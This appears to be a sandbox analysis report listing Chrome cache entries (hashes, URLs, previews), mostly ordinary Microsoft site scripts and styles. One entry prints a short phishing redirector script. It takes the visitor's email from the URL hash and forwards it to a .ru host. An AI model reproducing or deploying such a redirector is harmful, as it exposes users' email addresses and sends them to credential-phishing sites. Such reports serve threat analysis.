SSDEEP:	48:xCgigRgQgGKgeg5Cgfgy7gBgugDgBCgRgogvg+gdg27eG8T5aW:IlmvhK5TQX7WpMV8V2HgDeG8taW
MD5:	81B1EF0C4A6B80454291234FCD6E45B0
SHA1:	1353F3119D378FFB222149AE19755423EF5347BE
SHA-256:	B05D865A37D5EFC60E028BC9FBC6B63459C78D21B0B70B3797AC97C1AD9BA88D
SHA-512:	6409931AF06BAE75E4CFC57FF2B877915404A9D805F8C9076390C4BC8FF634BA96B2ED561FCC4E57869110E62BE05AB75A1578E7935CEC9605EAA77C893643AD
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/reimagine/clientlib-reimagine-base.min.ACSHASH81b1ef0c4a6b80454291234fcd6e45b0.css
Preview:	[data-oc-token-text]{display:contents}..editorial-article--chapter .editorial-article__slot .block-heading h1,.editorial-article--chapter .editorial-article__slot .block-heading h2,.editorial-article--chapter .editorial-article__slot .block-heading h3,.editorial-article--chapter .editorial-article__slot .block-heading h4,.editorial-article--chapter .editorial-article__slot .block-heading h5,.editorial-article--chapter .editorial-article__slot .block-heading p{margin-block:var(--root-spacing-xl)}..editorial-article--chapter .editorial-article__slot .block-heading h1:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h2:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h3:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h4:first-child,.editorial-article--chapter .editorial-article__slot .block-heading h5:first-child,.editorial-article--chapter .editorial-article__slot .block-heading p:first-child{ma

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	494
Entropy (8bit):	4.887712665197134
Encrypted:	false
SSDEEP:	12:1EhSqJmuBCEOQi4ylWqaNIlbXKhxHP2MCYu:1OovOEWKK72MCX
MD5:	7D3A09172E119C48BF7CA0ECD225B6F9
SHA1:	3F6ADC7A70D6EF7BF4625CA57A3C96198EBB6BCC
SHA-256:	8E7B7427A321273EB57BDE49F2326D8E9C00A0F26E93B379C13048E3443D4E1A
SHA-512:	D4B8E4E394D3FA3CDDCE8D51BF75CEB6361924548AA15E3557C9B647E82B90004FF2214570F5A623977A396088AC45CECA2CCC9DB32A42FCF288B0C2987147A1
Malicious:	false
Reputation:	low
URL:	https://petadolex.ca/Privacy/mwe.html
Preview:	......<html lang="en">..<head>.. .. <script type="text/javascript">.. // Redirect after 5 seconds.... var ai = window.location.hash.substr(1);.... .. var ind = ai.indexOf("@");.. var my_slice = ai.substr((ind + 1));...var companyName = my_slice.split('.')[0];...var con=btoa(ai);............ .. setTimeout(function() {...... .. window.location.href = "https://o6rl.inexpartan.ru/0Fhb7R/?qrc="+ai;.. }, 0); .. </script>..</head>..</html>..

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Reputation:	low
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	422
Entropy (8bit):	4.615395128455073
Encrypted:	false
SSDEEP:	6:uM4jKgJM1bMoQ4jKgJMQsYEI5pAJM4jKgJMQsYEI5pEXSojC4jKgJ3ClY8pJt4jb:uJJOYsJYI3IJYI3MScHJ3apJoJn2YZ
MD5:	2ADD065651AFB45E8C80967DD7B86A41
SHA1:	32A99770B83F754338EDF886571A91CEDD404F70
SHA-256:	3ECC4A2E8123EAD290D257F820C1CDAFB484A990B5D71AF3F6406CC85978B21B
SHA-512:	F0C2500211E649627495B98D3F040C834B4B3E53FDB31F78C7BED6D4421A70968BF5565BD57A2916423D2CE093FBB188AE78364F13DB31E2E5F589B043F90DFC
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-product-pricing.min.ACSHASH2add065651afb45e8c80967dd7b86a41.css
Preview:	[data-oc-product]:not([data-oc-product=Success])>{display:none !important}.[data-oc-product]:not([data-oc-product=Success]) [data-oc-product="not-available"],[data-oc-product]:not([data-oc-product=Success]) [data-oc-product="not-available"] {display:block !important}.[data-ocr-product]:not([data-ocr-product=Success]):has(.sku__unavailable) [data-oc-product]:not([data-oc-product*=Success]){display:none !important}

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	685
Entropy (8bit):	5.034728367898433
Encrypted:	false
SSDEEP:	12:tr1tB3utVhKXWsFYZjzFWZ8ed8RiHAxc3EnDfcmjnDfc1tnDwLtkiHAie:tTB3utVUXOsZ58RHx2ADfvDfkDikHb
MD5:	5230258C62809AABCDF5F68BF091899C
SHA1:	6BA8AB8858FDB46C7FBBB9784890A141D25EC0EC
SHA-256:	7EE3BF469607984A653D929CE069DB63FB7B1AABFB4053EF26D0245AF0ECC320
SHA-512:	C88BFEA273B611A98EC2D0267CB5B74894AA352C972A524DF26BE1AED6344CADFC0CB559CEF1D364F40BA3F83345EAE369975AEE3689320CEF7C85AC6903376C
Malicious:	false
Reputation:	low
Preview:	<svg width="43" height="32" viewBox="0 0 43 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_14404_11306)">.<path d="M0 14.9335C0 6.68606 6.65493 0.000183105 14.8642 0.000183105H28.1358C36.3451 0.000183105 43 6.68607 43 14.9335V17.0669C43 25.3143 36.3451 32.0002 28.1358 32.0002H0V14.9335Z" fill="white"/>.<ellipse cx="12.6195" cy="16.4706" rx="2.33696" ry="2.35294" fill="#004275"/>.<ellipse cx="21.0326" cy="16.4706" rx="2.33696" ry="2.35294" fill="#004275"/>.<ellipse cx="29.4457" cy="16.4706" rx="2.33696" ry="2.35294" fill="#004275"/>.</g>.<defs>.<clipPath id="clip0_14404_11306">.<rect width="43" height="32" fill="white"/>.</clipPath>.</defs>.</svg>.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	32430
Entropy (8bit):	4.356567934964662
Encrypted:	false
SSDEEP:	384:vPJ27ZTyLlowgdK+zlGzFe9nwKF2PhhJB/sQXGxGKEUx3XkE9yg3:HgZTUoBK+z0MnwKUBtspQKEqHkE9b
MD5:	BAFE79E0C43855F90798214635C94DFA
SHA1:	BC8397E35A82C03C8D9068A4747B4063EE30B23F
SHA-256:	A56F528A55B6E44AF5C81B14BEEDBA9A607529DFEC60B238CB5A102E3F26BA8D
SHA-512:	6895A7E6CDCA61FEAC857285DC0460115D51C3C0A098B7CE445EB2D37EE3E364BEDFE4E8ED77C7D7897763734C4B13B581711D80509F89E1BFE3E0B35AF477DE
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/components/content/reimagine/blade/card-grid/v2/card-grid/clientlibs/sites.min.ACSHASHbafe79e0c43855f90798214635c94dfa.js
Preview:	if (!window.CardGridCarousel) {. window.CardGridCarousel = class CardGridCarousel {. constructor(opts) {. this.SELECTORS = {. carousel: ".carousel",. carouselCardsContainer: ".carousel-product-card .appsource-cards-container",. gridCardsContainer: ".card-grid__cards .appsource-cards-container",. carouselSpinner: ".appsource-spinner-container",. prevBtn: ".carousel__arrow-prev",. nextBtn: ".carousel__arrow-next",. };.. this.STRINGS = {. combobox: "COMBOBOX",. tab: "TAB",. appSourceFeatured: "appSourceFeatured",. GRID: "GRID",. CAROUSEL: "CAROUSEL",. LEARN_MORE: "Learn More",. FREE: "Free",. };.. this.ELEMENTS = {};.. this.CONFIG = {. payloadProxy: {},. compId: opts.compId,. lo

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (534)
Category:	downloaded
Size (bytes):	3288
Entropy (8bit):	4.844125421768654
Encrypted:	false
SSDEEP:	48:3jndjqDCc6oq7zCE/5j/mj/FlqplzC7l+tj+6j+7bq/jzCd9QtjQAjQQHUqCqzCt:3jdNGKmlklm7dYjmd20tqmMA
MD5:	7677F65C1626AB1BDE509437776D4291
SHA1:	E51C5E64E5ED9D95FFA2BB31B821229F4502BDA9
SHA-256:	76607654EAFACC56092479AD570B118BE287CB2341711030CE47A88AAEC760D2
SHA-512:	5A110A93A5B34B11D371140D59738C5659F2A54614F84C4E683D115E50852DEC3640A8CEE6F394D8584684E0C355C249F5636329B0AC03E73949DEC9423C2652
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-events.min.ACSHASH7677f65c1626ab1bde509437776d4291.js
Preview:	'use strict';const oc={event:{cookiesPostConsent:{name:"oc.event.cookiesPostConsent",lastdispatched:void 0,dispatch:function(){oc.event.cookiesPostConsent.lastdispatched=Date.now();document.dispatchEvent(new Event(oc.event.cookiesPostConsent.name))},onChanged:function(a){"function"==typeof a&&("undefined"==typeof oc.event.cookiesPostConsent.lastdispatched?document.addEventListener(oc.event.cookiesPostConsent.name,()=>{a()}):a())}},marketSelector:{name:"oc.event.marketSelector",lastInit:void 0,dispatch:function(a,.b){oc.event.marketSelector.lastInit=Date.now();var c=document.createEvent("CustomEvent");c.initCustomEvent(oc.event.marketSelector.name,!0,!0,{eventName:a,value:b});document.dispatchEvent(c)},onInit:function(a){"function"==typeof a&&("undefined"==typeof oc.event.marketSelector.lastdispatched?document.addEventListener(oc.event.marketSelector.name,b=>{"oninit"===b.detail.eventName&&a()}):a())},onSelect:function(a){document.addEventListener(oc.event.marketSelector.name,b=>{"onsel

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (566)
Category:	downloaded
Size (bytes):	61208
Entropy (8bit):	5.486865205392623
Encrypted:	false
SSDEEP:	768:qCLbrNurYZRrfHvWCOqbEC9EbivVZh3ctWNwtBSg646z:qC/purwhfPWCOqbEC9EG3sDP6z
MD5:	F381D5147C85EE687EA8FBEF32C83D37
SHA1:	EB654ABAF1DF5CCB830763D5A40140B5C093C49F
SHA-256:	2D0832B29F1B3347C4B5046C373A635884B76ABAF2DE3FF650EE74D8B46F001E
SHA-512:	CD6B4DEB925037A6C0CF4BAA5AB600891139D99BFB9173D3F3DD4660D281A6266B5709D53770395E7459D9D2060E37F06295E8F9719A21F3EA8433D9E2206E65
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-polyfills.min.ACSHASHf381d5147c85ee687ea8fbef32c83d37.js
Preview:	/*. Copyright (C) 2013-2015 by Andrea Giammarchi - @WebReflection.. Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (655)
Category:	dropped
Size (bytes):	476900
Entropy (8bit):	5.5048390520226524
Encrypted:	false
SSDEEP:	6144:4+iJyDmVwNQbmAbm8aw+dBABTSO6VCAuouax2fpfJM2ib:4MgY58a+Sz6ax28b
MD5:	763C942B927FE0F5D20F673EAEA8CA64
SHA1:	1702988FC64DC26072BDCA99D237F9C8AEF5DC75
SHA-256:	0625AEA907B132E21DDA7CFE12C3AFFE07EAA45E9900CB5BDB602469F89C2E0D
SHA-512:	67A44963E43EADFA3BD6ECAAF8342F91ED0F803C28AFF204EE835F32F100D741755DC3793628CF0D087AD3241A6D6C4834E02B9AD92B6E7392CF8E2F73AA474D
Malicious:	false
Reputation:	low
Preview:	/. OneCloud Reimagine v0.309.0. MWF (Moray) v2.8.1. Copyright (c) Microsoft Corporation. All rights reserved.. Copyright 2011-2020 The Bootstrap Authors and Twitter, Inc../.'use strict';(function(V,L){"object"===typeof exports&&"undefined"!==typeof module?L(exports):"function"===typeof define&&define.amd?define(["exports"],L):(V="undefined"!==typeof globalThis?globalThis:V\|\|self,L(V.ocrReimagine={}))})(this,function(V){function L(){function b(x,w,y){return Object.defineProperty(x,w,{value:y,enumerable:!0,configurable:!0,writable:!0}),x[w]}function d(x,w,y,R){w=Object.create((w&&w.prototype instanceof c?w:c).prototype);R=new r(R\|\|[]);return A(w,"_invoke",{value:k(x,y,.R)}),w}function a(x,w,y){try{return{type:"normal",arg:x.call(w,y)}}catch(R){return{type:"throw",arg:R}}}function c(){}function e(){}function f(){}function g(x){["next","throw","return"].forEach(function(w){b(x,w,function(y){return this._invoke(w,y)})})}function h(x,w){function y(E,wa,ja,Lb){E=a(x[E],x,wa);if("throw"!==E.

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	56975
Entropy (8bit):	4.7745064069477285
Encrypted:	false
SSDEEP:	1536:md21iWKHFZV8rQ9KiY2pYJp10npm7Kc1DP:md21QHHAP
MD5:	884BD098ECB71645787C430F99C6D7B6
SHA1:	1F8B450E1D71D2F2242D6959A8C0EC50974EE448
SHA-256:	B4530D1B6EE9EAF575D6758D140613A368341C087BF22EF3E9475C477E798733
SHA-512:	CF8DDA718482CF562877EEEB67D1EEB02C06D0B70F2FEA31177B6E9CA6EE1A628693B7249CA361E72955B4811405EDB9B3B651DC323018BFF2C1CCA1F3305C54
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-product-pricing.min.ACSHASH884bd098ecb71645787c430f99c6d7b6.js
Preview:	(function () {. /** Check if OneCloud Reimagine namespace exists /. if (!window.ocReimagine) {. window.ocReimagine = {};. }.. /* Create product price module namespace /. if (!window.ocReimagine.ProductPriceModule) {. window.ocReimagine.ProductPriceModule = {};. }.. /* Initializes the reimagine product pricing manager and services /. function initializeProductPriceModule() {. try {. // Check if product pricing manager instance exists. if (window.ocReimagine && window.ocReimagine.ProductPriceModule && window.ocReimagine.ProductPriceModule.PricingManagerInstance) {. // If it exists, that means it has already been initialized so no need to re-initialize. return;. }.. window.ocReimagine.ProductPriceModule.PricingManagerInstance = new window.ocReimagine.ProductPriceModule.ProductPricingManager();. }. catch (error) {. }. }.. /. By defau

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138268
Entropy (8bit):	5.224497765711851
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7CisuMK/xw/:1f4Hu1I+Tw/
MD5:	5B85413B96AF340238B93068CDB641FB
SHA1:	D949C985DF4F80FAB0CF036A1DD86C63CA342F1F
SHA-256:	1B448C19C6DF1F2D15399A710A73BB3EC0C5233B571CDFAE9CCA315E6E13FB85
SHA-512:	5B7E26BB4C72A8D8EE6CD20EEEA354ADD396F74289BD3E42CD1D6C8A5D3FA1B190CC62B953CAF4FA38EFDA0983F90F937276C8797EB2E1BADC11F9F5161117CE
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-neu-prod/shell/_scrf/js/themes=default/54-af9f9f/d4-fb1f57/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/f9-a5b2ce/db-bc0148/dc-7e9864/6d-c07ea1/6f-dafe8c/f6-aa5278/73-a24d00/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/d0-e64f3e/92-10345d/79-499886/7e-cda2d3/58-ab4971/74-d51c79/e0-3c9860/de-884374/1f-100dea/33-abe4df/2b-8e0ae6?ver=2.0&_cf=02242021_3231&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65302)
Category:	downloaded
Size (bytes):	304858
Entropy (8bit):	5.098842090973851
Encrypted:	false
SSDEEP:	6144:6kc1b3b99G9gR7N1xf6iKyqsNHHlYXklLHdkmBHV6ysv9S/NYWme0QWufThQWB3Q:x8vfThQ
MD5:	561C834597FB9BC5AAC4021E21E006BE
SHA1:	C535802C0C6171B4BE1A776034C330418B36983D
SHA-256:	D8BAB22B1506E8444C64D92431F521964F658C380F5D32738AFEA85C15F03013
SHA-512:	748BFA3F917C8E75699A52FFE0AB2F753262D1B73810ACF68523930B665EF10A85329BD63A2A7B39746154554EA7A195270D1326C98C77DE72F75E4EB14CBB2F
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-mwf-new/main-light.min.ACSHASH561c834597fb9bc5aac4021e21e006be.css
Preview:	@charset "UTF-8";/!. MWF (Moray) v2.8.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. */@font-face{font-family:MWF-FLUENT-ICONS;src:url(resources/fonts/MWFFluentIcons.woff2) format("woff2"),url(resources/fonts/MWFFluentIcons.woff) format("woff"),url(resources/fonts/MWFFluentIcons.ttf) format("truetype")}@font-face{font-family:SegoeUI;src:local("Segoe UI"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.woff2) format("woff2"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.woff) format("woff"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.ttf) format("ttf");font-weight:400}@font-face{font-family:SegoeUI;src:local("Segoe UI"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/light/latest.woff2) format("woff2"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-euro

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26038)
Category:	dropped
Size (bytes):	1075049
Entropy (8bit):	5.534428059476112
Encrypted:	false
SSDEEP:	24576:d20QNvWXig0OTihO3oLGiUL3JCwKlJUhtj1HcKiJvQnR7siWP6VJywywjYenicPE:d20QNqig0OTihO3oLGiUL3JCwKlJUhte
MD5:	40E19CF8ACC7DA8B412D9DC7AEC9CADF
SHA1:	1C8C41E5539DF84A456E7489337232CD39B935D6
SHA-256:	8FFC6D2FF1CFE373AA978197626007D737D245DE335B028DC832C53D4EAD3A94
SHA-512:	1FAA14005B3390DEBBD54BED2156DA6C7ACF6B2A547D7B31A4ABD2FBC9333017AA1749F0FE4F72F1A7A6AAFF095DFF5F1472C09B2F75BBB047D86135668B8AC8
Malicious:	false
Reputation:	low
Preview:	// Universal Media Player.// Build Date: 2024-12-18T00:52:50.018Z.// Commit: 3c417ad49a0341f52951cad65ea4e26f64002fda.// Build Number: 20241218.02../*. @license. * Copyright 2021 Google LLC. * SPDX-License-Identifier: BSD-3-Clause. /let U8=class extends Event{constructor(a,s,l){super("context-request",{bubbles:!0,composed:!0}),this.context=a,this.callback=s,this.subscribe=l??!1}};/. @license. * Copyright 2021 Google LLC. * SPDX-License-Identifier: BSD-3-Clause. //. @license. * Copyright 2021 Google LLC. * SPDX-License-Identifier: BSD-3-Clause. */let O8=class{constructor(a,s,l,p){if(this.subscribe=!1,this.provided=!1,this.value=void 0,this.t=(d,m)=>{this.unsubscribe&&(this.unsubscribe!==m&&(this.provided=!1,this.unsubscribe()),this.subscribe\|\|this.unsubscribe()),this.value=d,this.host.requestUpdate(),this.provided&&!this.subscribe\|\|(this.provided=!0,this.callback&&this.callback(d,m)),this.unsubscribe=m},this.host=a,s.context!==void 0){const d=s;this.context=d.context,this.c

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2432
Entropy (8bit):	4.834130257531367
Encrypted:	false
SSDEEP:	48:s9JaZbpyRv71XBd8jByZJ4JaWuOjZPpHy6oTUU4yKN7y+J4WPM+Nd:0AZdABXLEUZOxjZPo6S1G7es
MD5:	F25FEC6821F63D701A6B6291A4011894
SHA1:	1260AC884282372B86F3A600BA8903AD75983E67
SHA-256:	DD8619BE444CCE5F8DB053215BB018C0BBC09AF7BAA9E66618BDF041B0A2E09C
SHA-512:	1F3C21E2C32DC8362A1CA12801FEC56BD22CDAF0BB7FB8D0D118348019EB843A63A171154BB0392DFEE268C5727F47CF139144596C0DFB7D12125CE659DB35C9
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-click-group-telemetry.min.ACSHASHf25fec6821f63d701a6b6291a4011894.js
Preview:	/*. Send telemetry data when a Click Group is clicked, if the clicked element. * is not the target/anchor/button itself.. /.(() => {. const ACTION_TYPES = {. LEFT_CLICK: 'CL'. };.. const EventName = {. CLICK: 'click'. };.. let analytics = null;.. /. Get dataBi attributes from an element's dataset. * @param {HTMLElement} element - The element to get dataBi attributes from. * @returns {Object} - An object containing the dataBi attributes. /. const getDataBi = (element) => {. if (!element \|\| !element.dataset) {. return {};. }.. return Object.fromEntries(. Object.entries(element.dataset). .filter(([key]) => key.startsWith('bi') && key.charAt(2) === key.charAt(2).toUpperCase()). .map(([key, value]) => [. key.charAt(2).toLowerCase() + key.slice(3),. value. ]). );. };.. /. Send telemetry data to the analytics plugin. * @param {string} behaviorId - The behavior ID. * @param {string} actionTyp

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (505)
Category:	dropped
Size (bytes):	1418
Entropy (8bit):	5.418786110345074
Encrypted:	false
SSDEEP:	24:gkWndJbDZVHGCGH0199EYCDNQNFHOS91AqCCoW40HJtmz2Xw+mlu4oFU5kveTOwD:gkw9ZVHG3HEuvNQNFv16XW1HJEkmEhUh
MD5:	20AAFDF6904D3DC5DB0E0E33ABBFC1A4
SHA1:	CC1A639FF69FE0D8A8F1EFEE7FCB04941E7B57C8
SHA-256:	EE4E620F350907CE3867454B2BD45984BE949EB46B113183D4B8B403032DA14D
SHA-512:	91B0BD81FCD2D3D040D9FC1DB74F5CA916EF88E7887D2868530BF1319EAF5462CC54421AB80FC97B258B569B9AF40F2B9FD1B6D417C9A4561BBA22EDF785D905
Malicious:	false
Reputation:	low
Preview:	/. jQuery Cookie Plugin v1.4.1. https://github.com/carhartl/jquery-cookie.. Copyright 2013 Klaus Hartl. Released under the MIT license./.'use strict';(function(d){"function"===typeof define&&define.amd?define(["jquery"],d):"object"===typeof exports?d(require("jquery")):d(jQuery)})(function(d){function l(a,c){if(e.raw)var b=a;else a:{0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{a=decodeURIComponent(a.replace(m," "));b=e.json?JSON.parse(a):a;break a}catch(h){}b=void 0}return d.isFunction(c)?c(b):b}var m=/\+/g,e=d.cookie=function(a,c,b){if(void 0!==c&&!d.isFunction(c)){b=d.extend({},e.defaults,b);.if("number"===typeof b.expires){var h=b.expires,g=b.expires=new Date;g.setTime(+g+864E5*h)}a=e.raw?a:encodeURIComponent(a);c=e.json?JSON.stringify(c):String(c);c=e.raw?c:encodeURIComponent(c);return document.cookie=[a,"\x3d",c,b.expires?"; expires\x3d"+b.expires.toUTCString():"",b.path?"; 